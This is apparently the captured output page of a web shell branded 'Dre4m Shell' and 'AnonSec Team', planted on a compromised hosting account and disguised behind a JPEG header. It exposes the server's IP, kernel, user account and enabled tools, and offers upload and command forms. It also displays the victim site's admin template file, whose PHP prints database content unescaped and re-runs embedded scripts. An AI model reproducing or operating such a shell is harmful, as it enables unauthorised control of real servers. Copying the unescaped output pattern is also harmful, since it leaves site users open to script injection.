ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/8-maquette-diabolo.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/8-maquette-diabolo.com/cp-admin/templates.php
		<div class="container">
          <div class="row-fluid">
 
          <table width="94%" >
            <thead>
              <tr>
                <th class="center" style="padding: 10px; border: 1px solid #eee" width="65%">Vos gabarits</th>
                <th class="center" style="padding: 10px; border: 1px solid #eee" width="20%">Actions</th>                                        
              </tr>
            </thead>
            <tbody>

              <?php
 
              $list = get_list(array('table'=>'templates', 'order'=>'id'));
      
              for($i=0; $i<count($list); $i++) {
                $id = $list[$i]['id'];
                $name = $list[$i]['name'];
                $image = $list[$i]['image'];
                $description = $list[$i]['description'];
                 $content = $list[$i]['content'];

                if ($id >0) {
                echo '<tr>';
                echo '<td class="center" style="padding: 10px; border: 1px solid #eee" width="65%">'.$name.'</td>';
                echo '<td class="center" style="padding: 10px; border: 1px solid #eee">';
                
                if(!empty($image)) {
               	echo '&nbsp;';
                echo'<a href="images/'.$image.'" rel="prettyPhoto" title="'.$name.'"><img src="assets/img/voir.png" title="'.$description.'"></a>&nbsp;';
                } else {
               	echo '&nbsp;';				
				
?>

<div id="popup-src-<?php echo (int)$id; ?>" style="display:none;">
    <?php echo $content; ?>
</div>

<button type="button" onclick="openPopupFrom('popup-src-<?php echo (int)$id; ?>')">
    <img src="assets/img/voir.png" title="<?php echo htmlspecialchars($description ?? '', ENT_QUOTES, 'UTF-8'); ?>" alt="">
</button>

<?php
				
                }
                
				
				
				
				
				
                 echo '&nbsp;';
                 
 if ((U_USER< 4) || (AUTO_1_2 > 0)){  
                 echo '<a href="./edit_mep.php?envoi_retour='.$envoi_retour.'&del='.$id.'&id='.$page_id.'&envoi_name='.$nom_page.'&envoi_categorie='.$categorie_page.'" onclick="return confirm(\'Êtes vous sur de vouloir supprimer cette élément ?\');"><img src="assets/img/delete.png" title="Supprimer le Gabarit"></a>';
               } else { 
                 echo '<a href="#" onclick="return confirm(\'Vous ne pouvez supprimer cet &eacute;l&eacute;ment...\');"><img src="assets/img/delete_no.png" title="Gabarit base"></a>';
                }
                echo '</td>';
                echo '</tr>';

                 }
              } 
 
              ?>

            </tbody>
          </table>
        	
        </div>
         </div>
		 
		 <!-- Popup -->
<!-- POPUP -->
<div id="customPopup" class="popup-overlay" onclick="closePopup(event)">
    <div class="popup-box">
        <button type="button" class="popup-close" onclick="closePopup()">×</button>
        <div id="popupContent"></div>
    </div>
</div>

<style>
.popup-overlay{
    display:none;
    position:fixed;
    inset:0;
    background:rgba(0,0,0,0.65);
    z-index:99999;
    padding:20px;
    overflow:auto;
}

.popup-box{
    position:relative;
    max-width:900px;
    margin:40px auto;
    background:#fff;
    border-radius:18px;
    padding:25px;
    box-shadow:0 20px 60px rgba(0,0,0,0.25);
}

.popup-close{
    position:absolute;
    top:10px;
    right:12px;
    width:40px;
    height:40px;
    border:0;
    border-radius:50%;
    background:#111;
    color:#fff;
    font-size:24px;
    cursor:pointer;
}

#popupContent{
    position:relative;
    z-index:2;
}

@media (max-width:768px){
    .popup-box{
        margin:20px auto;
        padding:20px 15px;
    }
}
</style>



<script>
// OUVRIR POPUP
function openPopupFrom(sourceId) {
    var source = document.getElementById(sourceId);
    var popup = document.getElementById('customPopup');
    var content = document.getElementById('popupContent');

    if (!source || !popup || !content) return;

    // Injecte le contenu
    content.innerHTML = source.innerHTML;

    // Affiche popup
    popup.style.display = 'block';
    document.body.style.overflow = 'hidden';

    // 🔥 Relance tous les scripts du content
    executeScripts(content);

    // 🔥 Déclenche DOMContentLoaded pour ton JS interne
    setTimeout(function(){
        document.dispatchEvent(new Event('DOMContentLoaded'));
    }, 50);
}


// FERMER POPUP
function closePopup(event) {
    if (!event || event.target.id === 'customPopup') {
        document.getElementById('customPopup').style.display = 'none';
        document.getElementById('popupContent').innerHTML = '';
        document.body.style.overflow = '';
    }
}


// 🔥 EXECUTION DES SCRIPTS DU CONTENU
function executeScripts(container) {
    var scripts = container.querySelectorAll('script');

    scripts.forEach(function(oldScript) {

        var newScript = document.createElement('script');

        // script externe
        if (oldScript.src) {
            newScript.src = oldScript.src;
        } 
        // script inline
        else {
            newScript.text = oldScript.innerHTML;
        }

        document.body.appendChild(newScript);
        document.body.removeChild(newScript);
    });
}


// ESC POUR FERMER
document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') {
        closePopup();
    }
});
</script>

 

Anon7 - 2022
AnonSec Team